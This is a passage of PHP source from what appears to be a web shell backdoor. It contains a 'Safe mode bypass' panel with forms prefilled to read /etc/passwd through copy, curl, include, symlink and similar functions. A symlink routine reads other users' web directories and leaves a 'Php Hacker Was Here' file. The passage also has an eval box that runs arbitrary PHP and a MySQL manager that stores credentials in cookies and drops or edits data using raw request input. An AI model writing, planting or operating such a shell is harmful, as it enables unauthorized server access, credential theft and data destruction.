  2454.             echo "</textarea>";
  2455.             break;
  2456.         } else if (isset($_GET['tempname'])) {
  2457.             tempnam("/home/" . $_GET['tempname']);
  2458.         } else if (isset($_GET['sym'])) {
  2459.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2460.             $fp = fopen("hack15.txt", "w+");
  2461.             fwrite($fp, "Php Hacker Was Here");
  2462.             @unlink($flib);
  2463.             $sym  = "/home/" . $them . "/public_html/" . $k;
  2464.             $link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
  2465.             @symlink($sym, $link);
  2466.             if ($k{0} == "/") {
  2467.                 echo "<script> window.location = '" . $flib . "'</script>";
  2468.             } else {
  2469.                 echo "<pre><xmp>";
  2470.                 echo readlink($flib) . "\n";
  2471.                 echo "Filesize: " . linkinfo($flib) . "B\n\n";
  2472.                 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
  2473.                 echo "</textarea>";
  2474.             }
  2475.         } else {
  2476. ?>
  2477.                         <table cellpadding="7" align="center" border="3" style="width:70%;" class="tbl">
  2478.                                 <tr>
  2479.                                         <td align="center" colspan="2"><font size="4">Safe mode bypass</font></td>
  2480.                                 </tr>
  2481.                                 <tr>
  2482.                                         <td align="center">
  2483.                                                 <p>Using copy() function</p>
  2484.                                                 <form action="<?php
  2485.             echo $self;
  2486. ?>" method="get">
  2487.                                                 <input type="hidden" name="bypass">
  2488.                                                 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2489.                                                 </form>
  2490.                                         </td>
  2491.                                         <td align="center">
  2492.                                                 <p>Using imap() function</p>
  2493.                                                 <form action="<?php
  2494.             echo $self;
  2495. ?>" method="get">
  2496.                                                 <input type="hidden" name="bypass">
  2497.                                                 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2498.                                                 </form>
  2499.                                         </td>
  2500.                                 </tr>
  2501.                                 <tr>
  2502.                                         <td align="center">
  2503.                                                 <p>Using sql() function</p>
  2504.                                                 <form action="<?php
  2505.             echo $self;
  2506. ?>" method="get">
  2507.                                                 <input type="hidden" name="bypass">
  2508.                                                 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2509.                                                 </form>
  2510.                                         </td>
  2511.                                         <td align="center">
  2512.                                                 <p>Using Curl() function</p>
  2513.                                                 <form action="<?php
  2514.             echo $self;
  2515. ?>" method="get">
  2516.                                                 <input type="hidden" name="bypass">
  2517.                                                 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2518.                                                 </form>
  2519.                                         </td>
  2520.                                 </tr>
  2521.                                 <tr>
  2522.                                         <td align="center">
  2523.                                                 <p>Bypass using include()</p>
  2524.                                                 <form action="<?php
  2525.             echo $self;
  2526. ?>" method="get">
  2527.                                                 <input type="hidden" name="bypass">
  2528.                                                 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2529.                                                 </form>
  2530.                                         </td>
  2531.                                         <td align="center">
  2532.                                                 <p>Using id() function</p>
  2533.                                                 <form action="<?php
  2534.             echo $self;
  2535. ?>" method="get">
  2536.                                                 <input type="hidden" name="bypass">
  2537.                                                 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2538.                                                 </form>
  2539.                                         </td>
  2540.                                 </tr>
  2541.                                 <tr>
  2542.                                         <td align="center">
  2543.                                                 <p>Using tempnam() function</p>
  2544.                                                 <form action="<?php
  2545.             echo $self;
  2546. ?>" method="get">
  2547.                                                 <input type="hidden" name="bypass">
  2548.                                                 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2549.                                                 </form>
  2550.                                         </td>
  2551.                                         <td align="center">
  2552.                                                 <p>Using symlink() function</p>
  2553.                                                 <form action="<?php
  2554.             echo $self;
  2555. ?>" method="get">
  2556.                                                 <input type="hidden" name="bypass">
  2557.                                                 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2558.                                                 </form>
  2559.                                         </td>
  2560.                                 </tr>
  2561.                         </table>
  2562.                         </form>
  2563.                         <?php
  2564.         }
  2565.     } else if (isset($_GET["phpc"])) {
  2566.         // If the comand was sent
  2567.         if (isset($_POST['code']) && $_POST['code'] && isset($_POST['intext']) && $_POST['intext'] == "disp") {
  2568.             // FIlter Some Chars we dont need
  2569. ?><br>
  2570.                         <textarea name="code" class="box" cols="120" rows="10"><?php
  2571.             $code = str_replace("<?php", "", $_POST['code']);
  2572.             $code = str_replace("<?", "", $code);
  2573.             $code = str_replace("?>", "", $code);
  2574.             // Evaluate PHP CoDE!
  2575.             htmlspecialchars(eval($code));
  2576. ?>
  2577.                         </textarea><?php
  2578.         } else if (isset($_POST['code']) && $_POST['code'] && !isset($_POST['intext'])) {
  2579.             $code = str_replace("<?php", "", $_POST['code']);
  2580.             $code = str_replace("<?", "", $code);
  2581.             $code = str_replace("?>", "", $code);
  2582.             // Evaluate PHP CoDE!
  2583. ?><br><font size="4">Result of execution this PHP-code :</font><br><font class="txt" size="3"><?php
  2584.             htmlspecialchars(eval($code));
  2585. ?></font><?php
  2586.         }
  2587. ?>
  2588.     <form method="POST">
  2589.     <textarea name="code" class="box" cols="120" rows="10"><?php
  2590.         if (isset($_POST['code'])) {
  2591.             echo $_POST['code'];
  2592.         } else {
  2593. ?>phpinfo();<?php
  2594.         }
  2595. ?></textarea>
  2596.         <br /><br />
  2597.     <input name="submit" value="Execute This COde! " class="but" type="submit" />
  2598.         <input type="checkbox" name="intext" value="disp"> <font class="txt" size="3">Display in Textarea</font>
  2599.     </form>
  2600.     <?php
  2601.     } else if (isset($_GET['database'])) {
  2602. ?>
  2603.         <form action=<?php
  2604.         echo $self;
  2605. ?> method="POST">
  2606.         <table style="width:90%;" cellpadding="4" align="center">
  2607.         <tr>
  2608.                 <td colspan="2">Connect To Database</td>
  2609.         </tr>
  2610.         <tr>
  2611.                 <td>Server Address :</td>
  2612.                 <td><input type="text" class="box" name="server" value="localhost"></td>
  2613.                 <!--<td rowspan="4"><textarea name="query" cols="60" rows="7" class="box">SHOW DATABASE</textarea>-->
  2614.         </tr>
  2615.         <tr>
  2616.                 <td>Username :</td>
  2617.                 <td><input type="text" class="box" name="username" value="root"></td>
  2618.         </tr>
  2619.         <tr>
  2620.                 <td>Password:</td>
  2621.                 <td><input type="text" class="box" name="password" value=""></td>
  2622.         </tr>
  2623.         <tr>
  2624.                 <td></td>
  2625.                 <td><input type="submit" value="  Connect  " name="executeit" class="but"></td>
  2626.         </tr>
  2627.         </table>
  2628.         </form>
  2629. <?php
  2630.     }
  2631.     // Execute Query
  2632.     else if (isset($_POST["executeit"])) {
  2633.         if (isset($_POST['username']) && isset($_POST['server'])) {
  2634.             $dbserver = $_POST['server'];
  2635.             $dbuser   = $_POST['username'];
  2636.             $dbpass   = $_POST['password'];
  2637.             setcookie("dbserver", $dbserver);
  2638.             setcookie("dbuser", $dbuser);
  2639.             setcookie("dbpass", $dbpass);
  2640.             header("Location:$self?data");
  2641.         }
  2642.     } else if (isset($_GET['data'])) {
  2643.         listdatabase();
  2644.     } else if (isset($_GET['viewdb'])) {
  2645.         listdatabase();
  2646.     } else if (isset($_GET['action']) && isset($_GET['dbname'])) {
  2647.         if ($_GET['action'] == "createDB") {
  2648.             $dbname      = $_GET['dbname'];
  2649.             $dbserver    = $_COOKIE["dbserver"];
  2650.             $dbuser      = $_COOKIE["dbuser"];
  2651.             $dbpass      = $_COOKIE["dbpass"];
  2652.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2653.             mysql_query("create database $dbname", $mysqlHandle);
  2654.             listdatabase();
  2655.         }
  2656.         if ($_GET['action'] == 'dropDB') {
  2657.             $dbname      = $_GET['dbname'];
  2658.             $dbserver    = $_COOKIE["dbserver"];
  2659.             $dbuser      = $_COOKIE["dbuser"];
  2660.             $dbpass      = $_COOKIE["dbpass"];
  2661.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2662.             mysql_query("drop database $dbname", $mysqlHandle);
  2663.             mysql_close($mysqlHandle);
  2664.             listdatabase();
  2665.         }
  2666.         if ($_GET['action'] == 'listTables') {
  2667.             listtable();
  2668.         }
  2669.         // Create Tables
  2670.         if ($_GET['action'] == "createtable") {
  2671.             $dbserver    = $_COOKIE["dbserver"];
  2672.             $dbuser      = $_COOKIE["dbuser"];
  2673.             $dbpass      = $_COOKIE["dbpass"];
  2674.             $dbname      = $_GET['dbname'];
  2675.             $tablename   = $_GET['tablename'];
  2676.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2677.             mysql_select_db($dbname);
  2678.             mysql_query("CREATE TABLE $tablename ( no INT )");
  2679.             listtable();
  2680.         }
  2681.         // Drop Tables
  2682.         if ($_GET['action'] == "dropTable") {
  2683.             $dbserver    = $_COOKIE["dbserver"];
  2684.             $dbuser      = $_COOKIE["dbuser"];
  2685.             $dbpass      = $_COOKIE["dbpass"];
  2686.             $dbname      = $_GET['dbname'];
  2687.             $tablename   = $_GET['tablename'];
  2688.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2689.             mysql_select_db($dbname);
  2690.             mysql_query("drop table $tablename");
  2691.             listtable();
  2692.         }
  2693.         // Empty Tables
  2694.         if ($_GET['action'] == "empty") {
  2695.             $dbserver    = $_COOKIE["dbserver"];
  2696.             $dbuser      = $_COOKIE["dbuser"];
  2697.             $dbpass      = $_COOKIE["dbpass"];
  2698.             $dbname      = $_GET['dbname'];
  2699.             $tablename   = $_GET['tablename'];
  2700.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2701.             mysql_select_db($dbname);
  2702.             mysql_query("delete from $tablename");
  2703.             listtable();
  2704.         }
  2705.         // Empty Tables
  2706.         if ($_GET['action'] == "dropField") {
  2707.             $dbserver    = $_COOKIE["dbserver"];
  2708.             $dbuser      = $_COOKIE["dbuser"];
  2709.             $dbpass      = $_COOKIE["dbpass"];
  2710.             $dbname      = $_GET['dbname'];
  2711.             $tablename   = $_GET['tablename'];
  2712.             $fieldname   = $_GET['fieldname'];
  2713.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2714.             mysql_select_db($dbname);
  2715.             $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  2716.             mysql_select_db($dbname, $mysqlHandle);
  2717.             mysql_query($queryStr, $mysqlHandle);
  2718.             listtable();
  2719.         }
  2720.         // View Table Schema
  2721.         if ($_GET['action'] == "viewSchema") {
  2722.             $dbserver    = $_COOKIE["dbserver"];
  2723.             $dbuser      = $_COOKIE["dbuser"];
  2724.             $dbpass      = $_COOKIE["dbpass"];
  2725.             $dbname      = $_GET['dbname'];
  2726.             $tablename   = $_GET['tablename'];
  2727.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2728.             mysql_select_db($dbname);
  2729.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt face=Iceland size=3>[ Log Out ]</font> </a></div>";
  2730.             $pResult = mysql_query("SHOW fields FROM $tablename");
  2731.             $num     = mysql_num_rows($pResult);
  2732.             echo "<br><br><table align=center class=tbl style='width:80%;' border=1>";
  2733.             echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
  2734.             for ($i = 0; $i < $num; $i++) {
  2735.                 $field = mysql_fetch_array($pResult);
  2736.                 echo "<tr>\n";
  2737.                 echo "<td>" . $field["Field"] . "</td>\n";
  2738.                 echo "<td>" . $field["Type"] . "</td>\n";
  2739.                 echo "<td>" . $field["Null"] . "</td>\n";
  2740.                 echo "<td>" . $field["Key"] . "</td>\n";
  2741.                 echo "<td>" . $field["Default"] . "</td>\n";
  2742.                 echo "<td>" . $field["Extra"] . "</td>\n";
  2743.                 $fieldname = $field["Field"];
  2744.                 echo "<td><a href='$self?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  2745.                 echo "</tr>\n";
  2746.             }
  2747.             echo "</table>";
  2748.             echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt face=Iceland size=3>[ Log Out ]</font> </a></div>";
  2749.         }
  2750.         // Execute Query
  2751.         if ($_GET['action'] == "executequery") {
  2752.             $dbserver    = $_COOKIE["dbserver"];
  2753.             $dbuser      = $_COOKIE["dbuser"];
  2754.             $dbpass      = $_COOKIE["dbpass"];
  2755.             $dbname      = $_GET['dbname'];
  2756.             $tablename   = $_GET['tablename'];
  2757.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2758.             mysql_select_db($dbname);
  2759.             $result = mysql_query($_GET['executemyquery']);
  2760.             //  results
  2761.             echo "<html>\r\n" . strtoupper($_GET['executemyquery']) . "<br>\r\n<table class=tbl border =\"1\">\r\n";
  2762.             $count = 0;
  2763.             while ($row = mysql_fetch_assoc($result)) {
  2764.                 echo "<tr>\r\n";
  2765.                 if ($count == 0) // list column names
  2766.                     {
  2767.                     echo "<tr>\r\n";
  2768.                     while ($key = key($row)) {
  2769.                         echo "<td><b>" . $key . "</b></td>\r\n";
  2770.                         next($row);
  2771.                     }
  2772.                     echo "</tr>\r\n";
  2773.                 }
  2774.                 foreach ($row as $r) // list content of column names
  2775.                     {
  2776.                     if ($r == '')
  2777.                         $r = '<font class=txt face=Iceland>NULL</font>';
  2778.                     echo "<td><font>" . $r . "</font></td>\r\n";
  2779.                 }
  2780.                 echo "</tr>\r\n";
  2781.                 $count++;
  2782.             }
  2783.             echo "</table>\n\r<font class=txt face=Iceland size=3>" . $count . " rows returned.</font>\r\n</html>";
  2784.             echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  2785.         }
  2786.         // View Table Data
  2787.         if ($_GET['action'] == "viewdata") {
  2788.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  2789.             $dbserver  = $_COOKIE["dbserver"];
  2790.             $dbuser    = $_COOKIE["dbuser"];
  2791.             $dbpass    = $_COOKIE["dbpass"];
  2792.             $dbname    = $_GET['dbname'];
  2793.             $tablename = $_GET['tablename'];
  2794.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt face=Iceland size=3>[ Log Out ]</font> </a></div>";
  2795. ?>
  2796.                         <br><br>
  2797.                         <form>
  2798.                         <input type="hidden" value="<?php
  2799.             echo $_GET['dbname'];
  2800. ?>" name="dbname">
  2801.                         <input type="hidden" value="<?php
  2802.             echo $_GET['tablename'];
  2803. ?>" name="tablename">
  2804.                         <input type="hidden" value="executequery" name="action">
  2805.                         <table>
  2806.                                 <tr>
  2807.                                         <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  2808.                                 </tr>
  2809.                                 <tr>
  2810.                                         <td><input type="submit" value="Execute" class="but"></td>
  2811.                                 </tr>
  2812.                         </table>
  2813.                         </form>
  2814.                         <?php
  2815.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2816.             mysql_select_db($dbname);
  2817.             $sql   = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  2818.             $row   = mysql_fetch_array($sql);
  2819.             $rowid = $row['COLUMN_NAME'];
  2820.             echo "<br><font size=4>Data in Table</font><br>";
  2821.             if ($tablename != "")
  2822.                 echo "<font size=3 class=txt face=Iceland>$dbname &gt; $tablename</font><br>";
  2823.             else
  2824.                 echo "<font size=3 class=txt face=Iceland>$dbname</font><br>";
  2825.             $queryStr = "";
  2826.             $pag      = 0;
  2827.             $queryStr = stripslashes($queryStr);
  2828.             if ($queryStr == "") {
  2829.                 if (isset($_REQUEST['page'])) {
  2830.                     $res    = mysql_query("select * from $tablename");
  2831.                     $getres = mysql_num_rows($res);
  2832.                     $coun   = ceil($getres / 30);
  2833.                     if ($_REQUEST['page'] != 1)
  2834.                         $pag = $_REQUEST['page'] * 30;
  2835.                     else
  2836.                         $pag = $_REQUEST['page'] * 30;
  2837.                     $queryStr           = "SELECT * FROM $tablename LIMIT $pag,30";
  2838.                     $sql                = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
  2839.                     $arrcount           = 1;
  2840.                     $arrdata[$arrcount] = 0;
  2841.                     while ($row = mysql_fetch_array($sql)) {
  2842.                         $arrdata[$arrcount] = $row[$rowid];
  2843.                         $arrcount++;
  2844.                     }
  2845.                 } else {
  2846.                     $queryStr           = "SELECT * FROM $tablename LIMIT 0,30";
  2847.                     $sql                = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
  2848.                     $arrcount           = 1;
  2849.                     $arrdata[$arrcount] = 0;
  2850.                     while ($row = mysql_fetch_array($sql)) {
  2851.                         $arrdata[$arrcount] = $row[$rowid];
  2852.                         $arrcount++;
  2853.                     }
  2854.                 }
  2855.                 if ($orderby != "")
  2856.                     $queryStr .= " ORDER BY $orderby";
  2857.                 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'><font size=3>Schema</font></a>\n";
  2858.             }
  2859.             $pResult           = mysql_query($queryStr);
  2860.             $fieldt            = mysql_fetch_field($pResult);
  2861.             $tablename         = $fieldt->table;
  2862.             $errMsg            = mysql_error();
  2863.             $GLOBALS[queryStr] = $queryStr;
  2864.             if ($pResult == false) {
  2865.                 echoQueryResult();
  2866.                 return;
  2867.             }
  2868.             if ($pResult == 1) {
  2869.                 $errMsg = "Success";
  2870.                 echoQueryResult();
  2871.                 return;
  2872.             }
  2873.             echo "<hr color=#1B1B1B>\n";
  2874.             $row = mysql_num_rows($pResult);
  2875.             $col = mysql_num_fields($pResult);
  2876.             if ($row == 0) {
  2877.                 echo "<font size=3>No Data Exist!</font>";
  2878.                 return;
  2879.             }
  2880.             if ($rowperpage == "")
  2881.                 $rowperpage = 30;
  2882.             if ($page == "")
  2883.                 $page = 0;
  2884.             else
  2885.                 $page--;
  2886.             mysql_data_seek($pResult, $page * $rowperpage);
  2887.             echo "<table cellspacing=1 cellpadding=5 border=1 class=tbl align=center>\n";
  2888.             echo "<tr>\n";
  2889.             for ($i = 0; $i < $col; $i++) {
  2890.                 $field = mysql_fetch_field($pResult, $i);
  2891.                 echo "<th>";
  2892.                 if ($action == "viewdata")
  2893.                     echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=" . $field->name . "'>" . $field->name . "</a>\n";
  2894.                 else
  2895.                     echo $field->name . "\n";
  2896.                 echo "</th>\n";
  2897.             }
  2898.             echo "<th colspan=2>Action</th>\n";
  2899.             echo "</tr>\n";
  2900.             $num    = 1;
  2901.             $acount = 1;
  2902.             for ($i = 0; $i < $rowperpage; $i++) {
  2903.                 $rowArray = mysql_fetch_row($pResult);
  2904.                 if ($rowArray == false)
  2905.                     break;
  2906.                 echo "<tr>\n";
  2907.                 $key = "";
  2908.                 for ($j = 0; $j < $col; $j++) {
  2909.                     $data  = $rowArray[$j];
  2910.                     $field = mysql_fetch_field($pResult, $j);
  2911.                     if ($field->primary_key == 1)
  2912.                         $key .= "&" . $field->name . "=" . $data;
  2913.                     if (strlen($data) > 30)
  2914.                         $data = substr($data, 0, 30) . "...";
  2915.                     $data = htmlspecialchars($data);
  2916.                     echo "<td>\n";
  2917.                     echo "<font class=txt face=Iceland>$data</font>\n";
  2918.                     echo "</td>\n";
  2919.                 }
  2920.                 if (!is_numeric($arrdata[$acount]))
  2921.                     echo "<td colspan=2>No Key</td>\n";
  2922.                 else {
  2923.                     echo "<td><a href='$PHP_SELF?action=editData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  2924.                     echo "<td><a href='$PHP_SELF?action=deleteData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  2925.                     $acount++;
  2926.                 }
  2927.             }
  2928.             echo "</tr>\n";
  2929.             echo "</table>";
  2930.             if ($arrcount > 30) {
  2931.                 $res    = mysql_query("select * from $tablename");
  2932.                 $getres = mysql_num_rows($res);
  2933.                 $coun   = ceil($getres / 30);
  2934.                 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
  2935.                 for ($i = 0; $i < $coun; $i++)
  2936.                     echo "<option value=$i>$i</option>";
  2937.                 echo "</select> <input type=submit value=Go class=but></form>";
  2938.                 echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt face=Iceland size=3>[ Log Out ]</font> </a></div>";
  2939.             }
  2940.         }
  2941.         // Delete Table Data
  2942.         if ($_GET['action'] == "deleteData") {
  2943.             $dbserver    = $_COOKIE["dbserver"];
  2944.             $dbuser      = $_COOKIE["dbuser"];
  2945.             $dbpass      = $_COOKIE["dbpass"];
  2946.             $dbname      = $_GET['dbname'];
  2947.             $tablename   = $_GET['tablename'];
  2948.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2949.             mysql_select_db($dbname);
  2950.             $sql   = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  2951.             $row   = mysql_fetch_array($sql);
  2952.             $row   = $row['COLUMN_NAME'];
  2953.             $rowid = $_GET[$row];
  2954.             mysql_query("delete from $tablename where $row = '$rowid'");
  2955.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  2956.         }
  2957.         // Edit Table Data
  2958.         if ($_GET['action'] == "editData") {
  2959.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  2960.             $dbserver  = $_COOKIE["dbserver"];
  2961.             $dbuser    = $_COOKIE["dbuser"];
  2962.             $dbpass    = $_COOKIE["dbpass"];
  2963.             $dbname    = $_GET['dbname'];
  2964.             $tablename = $_GET['tablename'];
  2965.             echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  2966. ?>
  2967.                         <br><br>
  2968.                         <form action="<?php
  2969.             echo $self;
  2970. ?>" method="post">
  2971.                         <input type="hidden" name="tablename" value="<?php
  2972.             echo $tablename;
  2973. ?>">
  2974.                         <input type="hidden" name="action" value="editsubmitData">
  2975.                         <?php
  2976.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2977.             mysql_select_db($dbname);
  2978.             $sql     = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  2979.             $row     = mysql_fetch_array($sql);
  2980.             $row     = $row['COLUMN_NAME'];
  2981.             $rowid   = $_GET[$row];
  2982.             $pResult = mysql_list_fields($dbname, $tablename);
  2983.             $num     = mysql_num_fields($pResult);
  2984.             $key     = "";
  2985.             for ($i = 0; $i < $num; $i++) {
  2986.                 $field = mysql_fetch_field($pResult, $i);
  2987.                 if ($field->primary_key == 1)
  2988.                     if ($field->numeric == 1)
  2989.                         $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  2990.                     else
  2991.                         $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  2992.             }
  2993.             $key = substr($key, 0, strlen($key) - 4);
  2994.             mysql_select_db($dbname, $mysqlHandle);
  2995.             $pResult = mysql_query($queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle);
  2996.             $data    = mysql_fetch_array($pResult);
  2997.             echo "<input type=hidden name=dbname value=$dbname>\n";
  2998.             echo "<input type=hidden name=tablename value=$tablename>\n";
  2999.             echo "<input type=hidden name=$row value=$rowid>";
  3000.             echo "<table class=tbl cellspacing=1 cellpadding=2 border=1>\n";
  3001.             echo "<tr>\n";
  3002.             echo "<th>Name</th>\n";
  3003.             echo "<th>Type</th>\n";
  3004.             echo "<th>Function</th>\n";
  3005.             echo "<th>Data</th>\n";
  3006.             echo "</tr>\n";
  3007.             $pResult    = mysql_db_query($dbname, "SHOW fields FROM $tablename");
  3008.             $num        = mysql_num_rows($pResult);
  3009.             $pResultLen = mysql_list_fields($dbname, $tablename);
  3010.             for ($i = 0; $i < $num; $i++) {
  3011.                 $field     = mysql_fetch_array($pResult);
  3012.                 $fieldname = $field["Field"];
  3013.                 $fieldtype = $field["Type"];
  3014.                 $len       = mysql_field_len($pResultLen, $i);
  3015.                 echo "<tr>";
  3016.                 echo "<td>$fieldname</td>";
  3017.                 echo "<td>" . $field["Type"] . "</td>";
  3018.                 echo "<td>\n";
  3019.                 echo "<select name=${fieldname}_function class=sbox>\n";
  3020.                 echo "<option>\n";
  3021.                 echo "<option>ASCII\n";
  3022.                 echo "<option>CHAR\n";
  3023.                 echo "<option>SOUNDEX\n";
  3024.                 echo "<option>CURDATE\n";
  3025.                 echo "<option>CURTIME\n";
  3026.                 echo "<option>FROM_DAYS\n";
  3027.                 echo "<option>FROM_UNIXTIME\n";
  3028.                 echo "<option>NOW\n";
  3029.                 echo "<option>PASSWORD\n";
  3030.                 echo "<option>PERIOD_ADD\n";
  3031.                 echo "<option>PERIOD_DIFF\n";
  3032.                 echo "<option>TO_DAYS\n";
  3033.                 echo "<option>USER\n";
  3034.                 echo "<option>WEEKDAY\n";
  3035.                 echo "<option>RAND\n";
  3036.                 echo "</select>\n";
  3037.                 echo "</td>\n";
  3038.                 $value = htmlspecialchars($data[$i]);
  3039.                 $type  = strtok($fieldtype, " (,)\n");
  3040.                 if ($type == "enum" || $type == "set") {
  3041.                     echo "<td>\n";
  3042.                     if ($type == "enum")
  3043.                         echo "<select name=$fieldname class=box>\n";
  3044.                     else if ($type == "set")
  3045.                         echo "<select name=$fieldname size=4 class=box multiple>\n";
  3046.                     while ($str = strtok("'")) {
  3047.                         if ($value == $str)
  3048.                             echo "<option selected>$str\n";
  3049.                         else
  3050.                             echo "<option>$str\n";
  3051.                         strtok("'");
  3052.                     }
  3053.                     echo "</select>\n";
  3054.                     echo "</td>\n";
  3055.                 } else {
  3056.                     if ($len < 40)
  3057.                         echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\" class=box></td>\n";
  3058.                     else
  3059.                         echo "<td><textarea cols=47 rows=3 maxlength=$len name=$fieldname class=box>$value</textarea>\n";
  3060.                 }
  3061.                 echo "</tr>";
  3062.             }
  3063.             echo "</table><p>\n";
  3064.             echo "<input type=submit value='Edit Data' class=but>\n";
  3065.             echo "<input type=button value='Cancel' onClick='history.back()' class=but>\n";
  3066.             echo "</form>\n";
  3067.         }
  3068.     }
  3069.     // Edit Submit Table Data
  3070.     else if ($_REQUEST['action'] == "editsubmitData") {
  3071.         $dbserver    = $_COOKIE["dbserver"];
  3072.         $dbuser      = $_COOKIE["dbuser"];
  3073.         $dbpass      = $_COOKIE["dbpass"];
  3074.         $dbname      = $_POST['dbname'];
  3075.         $tablename   = $_POST['tablename'];
  3076.         $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  3077.         mysql_select_db($dbname);
  3078.         $sql        = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3079.         $row        = mysql_fetch_array($sql);
  3080.         $row        = $row['COLUMN_NAME'];
  3081.         $rowid      = $_POST[$row];
  3082.         $pResult    = mysql_db_query($dbname, "SHOW fields FROM $tablename");
  3083.         $num        = mysql_num_rows($pResult);
  3084.         $rowcount   = $num;
  3085.         $pResultLen = mysql_list_fields($dbname, $tablename);
  3086.         for ($i = 0; $i < $num; $i++) {
  3087.             $field     = mysql_fetch_array($pResult);
  3088.             $fieldname = $field["Field"];
